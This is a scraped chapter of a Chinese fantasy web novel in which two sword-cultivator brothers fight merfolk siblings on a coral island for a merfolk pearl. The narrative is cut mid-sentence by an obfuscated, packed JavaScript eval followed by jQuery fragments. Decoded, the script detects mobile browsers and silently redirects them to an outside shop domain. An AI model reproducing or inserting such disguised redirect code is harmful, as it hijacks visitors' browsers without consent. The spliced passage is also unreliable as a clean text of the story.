文趣网 > 其他小说 > 今天我被大魔头抢亲了吗? > 19. 第 19 章
    沿着指针向南海中央行驶,海面越来越躁动,似有什么东西从底部搅动,卷起千层巨浪,翻涌挤压。

    浪花不断拍打小船,颠簸起伏,船身不堪重负,发出吱呀吱呀的声响。

    瞬间,二人卷入了漩涡中心。

    再次睁眼,宋晚霖发现自己躺在了珊瑚礁上。

    他抬手挡了挡光,衣袍已经湿透,幸好后背紧贴的珊瑚是暖的。

    师兄呢?

    他坐起身,发现燕霜折正蹲在他旁边,给他拧衣衫上的水。

    一座长满珊瑚的岛,高矮绿树,点翠其间,日光洋洋洒洒,似快融化了般。

    他拍了拍衣衫上的沙砾,“师兄,差不多了。”

    紧接着,他四处张望,“怎么一个人都没有?”

    “往前走走吧。”燕霜折起身道。

    宋晚霖点点头。

    二人往前走了许久,都不见人影。

    鳞次栉比的珊瑚群遮挡大半视线,一时间根本觉察不出走到了哪里,直到二人穿过一丛扇形珊瑚,一道短促的声音响起。

    他们立即停下脚步,躲进了一丛高大茂密的珊瑚丛中。

    珊瑚丛的那头,一少女正站在一片被砍得七零八落的珊瑚残骸中间,拿着匕首用力地挥动。

    她心里憋着火,下刀的声音很重,对着这些肆意生长的珊瑚发泄一通。

    少女的容貌极其昳丽,双眼是罕见的湛蓝色,泛着点点星光。头发是雪白色的,一直垂到腰际,再看她的耳朵,与旁人不同,尤其是耳廓边缘,覆盖着一层半透明状的鳞状薄膜。

    鲛人。

    二人对视一眼。

    余笙正砍得烦躁,忽地,她听到一丝不同寻常的动静,小水滴落地上的声音。

    珊瑚岛有旁人?

    鲛人的听力比人族高数倍,岛上一般都是她自己住,偶尔兄弟姐妹会来,最近一段时间只有她弟弟住在这儿,弟弟在屋内,外面是谁?

    余笙仔细聆听,起伏的呼吸声。

    手中的动作一停,她握紧匕首,向前方的珊瑚丛走去。

    另一边,宋晚霖的呼吸完全屏住。

    身侧,燕霜折无声地按住剑柄,指节在一点点收紧。

    余笙小心翼翼地朝声源方向走,锐利地扫过一片又一片的珊瑚丛。

    就在她即将逼近之时,一把长剑从珊瑚丛中突刺而出,剑尖直直停在余笙身前。

    余笙反应极快,身如游鱼,顷刻便拉开了距离。

    她微微眯起眼,傲慢道:“区区人族?来这里找死?”

    话落,湛蓝色的双瞳停留在二人脸上,勉强道:“长得倒是可以。”

    “给你们一次离开的机会,不然休怪我不客气。”

    “我们没有恶意,只是来求鲛珠的。放心我们不白拿,你需要什么,想要交换什么,我们有的,都会给你。”宋晚霖收剑,诚恳道。

    余笙仰头一笑,不屑道:“这儿没有,烦请二位离开。”

    “这儿是鲛人岛。”宋晚霖往前迈了一步。

    “鲛人不可能没鲛珠,我们真心求取,姑娘给我们一次机会。”

    “真心求取?”余笙的嘴角弯了弯,讥讽道,“我说了,没有就是没有,若不是看在你二位的相貌上,早就变成无色枯骨了。识相一点,赶紧离开。”

    没等余笙说完,手中的匕首猝然消失不见。

    瞬即,细白的手指变成蹼状,指甲暴长弯成钩状刃片。

    少女一个冲刺,身形如电,利爪直取宋晚霖的面门。

    燕霜折的剑横插进来,剑身立即挡在宋晚霖的身前。

    霎时,刺耳的摩擦声响起。

    宋晚霖顺势挑剑,剑尖直刺余笙的肩头。

    对方毕竟是鲛人,身形异常灵活,侧身一避,轻松躲过。

    鲛人的攻击性这么强?

    二人不断后退,燕霜折忽然加速,翻转跳跃,从余笙头顶掠过,一个突刺,刺穿她的左肩。

    少顷,血色洇开一片。

    余笙发出一声痛呼。

    作战成功,二人对视一眼。

    宋晚霖顺势擒拿,少女蓦地张开嘴,露出齿状獠牙,以为扑近撕咬,没想到爆发出尖锐的嗡鸣,无数根细针同时扎进二人的脑海。

    大脑又痛又沉,视线愈发模糊,他好像望见珊瑚长到了天上。

    “什么声音,真烦人。”

    一旁的燕霜折动作也变得迟缓,剑势低了一度。

    宋晚霖勉强撑起身子,乍然从储物袋中拿出一卷布条。

    他欺身上前,双手拉住布条飞快地绕过余笙的头,紧紧缠住她的嘴。

    因肩膀受伤,余笙挣扎不过,被迫束手就擒。

    可她那双湛蓝色的瞳死死瞪着二人。

    鲛人音戛然而止。

    余笙迅速变幻出鲛尾,猛地甩飞宋晚霖。

    宋晚霖立即作出反应,借势往后退了几步。

    紧接着,他欺身上前,直接将余笙摁在了地上。

    “鲛珠到底在哪?”他喘着粗气问。

    隔着层层布料,余笙冷哼一声。

    白日做梦!

    她是不会给鲛珠的!

    眼瞧这鲛人不服软,燕霜折伸手,“咔嚓”一声,骨头错位。

    右肩脱臼。

    这下她无法挣扎,只能咬牙,恶狠狠地盯向二人。

    明显这人比另一人更难缠,下手又快又狠。

    不多时,一道身影从珊瑚丛窜出。

    余笙一听动静,奋力挣扎。

    布条在獠牙的撕扯下彻底断开,余笙拼命大喊:“救我!弟弟!杀了他们!”

    来人是个少年。

    容貌与余笙有七八分相似,同样是白发与尖耳,只不过他的眼眸更淡,像坠入了一片浅海。

    燕霜折反应极快,霎时将剑抵在余笙的脖颈上,冷冷质问:“鲛珠在哪?”

    “我为什么要告诉你。”余岁缓缓向前,单手背后,掌心蓄力悄无声息地结出一个水球,刹那打向燕霜折握剑的手腕。

    宋晚霖手疾眼快,剑身横切过,将那枚水球从半空中挡了去。

    衣袍在水球的攻势下撩起,剑尖斜指,横在燕霜折和余岁中央。

    双方僵持不下,余岁将视线落在宋晚霖的脸上,停留一瞬,总觉得这张脸在哪里见过,但他记不清了。

    双手再次蓄力结出飞旋的水球,宋晚霖一个跃身,从半空中旋了一圈,剑花似春日杨柳,浮风而落。

    “啊!”余笙吃痛的叫了一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17963480|214380||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    声。

    身前的人猛地捏紧她脱臼的右肩。

    余岁一顿,定定注视燕霜折的长剑。

    长剑直逼余笙的脖颈,越来越近。

    一道细长的血痕划过。

    伤口须臾结出小血珠,沿着长剑蜿蜒滚落。

    “放开我姐,我带你们去。”余岁终于松了口,妥协道。

    “带路。”燕霜折横着剑,催促余笙起身,向前走去。

    宋晚霖疑惑,如此轻易?

    他跟在余岁身旁,眼睛一眨不眨地监视他的一举一动。

    穿过一片密集的珊瑚林,他们来到了小岛中央。中央有一个清澈见底的水池,上面矗立着一座纯白鲛人雕塑。

    鲛人身姿轻盈,双手上举,正要跃入水中。

    到处都是蒸腾的水气,日光挥洒,如梦似幻。

    面前的景象越来越模糊,自己好似来到了一片云海。

    水雾弥漫,重重叠叠,望不到来路。

    只一秒,燕霜折清醒过来,将那层雾强行驱散。

    他侧身,一把抓住宋晚霖的胳膊,急促道:“师弟!”

    就那一瞬的功夫,余笙伸出蹼刃,格开横在她颈侧的剑。

    然后,她借力一翻,回到了余岁身边。

    宋晚霖刚从雾霭中挣脱出来,视线重新聚焦,将剑往前一扫,却被他们用蹼刃挡开。

    两两对峙一触即发。

    “咔嚓”一声,错位的关节已被余生接上。

    “不错,还以为你去了一趟人界反应迟钝了呢。”余笙挑了挑眉,满意地笑道。

    “你当我蠢!?”余岁不屑地推了推她的身子。

    “切。”余笙翻了个白眼。

    听到二人的谈话,宋晚霖明显捕捉到一些关键信息,于是,他转了转眼珠,充满探究地问:“你去过人界?可知江南谢家?”

    闻言,余岁的脸色稍稍变了。

    他不耐烦道:“什么谢家?江南谢家这么多,谁知道你问的哪个?”顿了顿,毫无逻辑的补了一句,“我怎么会认识谢家的人。”

    话越多越有破绽,鲛人生硬的语气和异常的表情,宋晚霖心里已猜出七八分。

    紧接着,他从怀里掏出珍珠手串,在空中来回晃动,“这个谢家呢?”

    话落,余岁的脸色倏变,紧紧盯着那枚珠串。

    “你到底是谁,怎么会有这个。”他沉声道。

    宋晚霖一个旋身,衣诀飘飞,潇洒地将手串收回手中,恣意道:“你猜我是谁?”

    “他怎么能这么对我。”余岁喃喃自语,眼底的失落不断放大,“他说过,就算扔了也不会给旁人。怎么……怎么轻易就送人了?”

    他抬首,重新打量起这人。眉眼精致,一双狐狸眼盛着恣意的狡黠,笑起来整个人都在发光。

    他们鲛人族以容颜自傲,样貌最是上乘。

    可眼前这个人族,余岁不得不承认,他确实长得漂亮,漂亮到让人移不开眼。

    他忽然觉得,如果谢望尘因为这个人把东西转赠而出,似乎不难理解了。

    比起和一个妖在一起,和一个人在一起更般配。

    人与妖自始至终都有一道跨越不过的沟渠。

    所以,他是不要他了吗?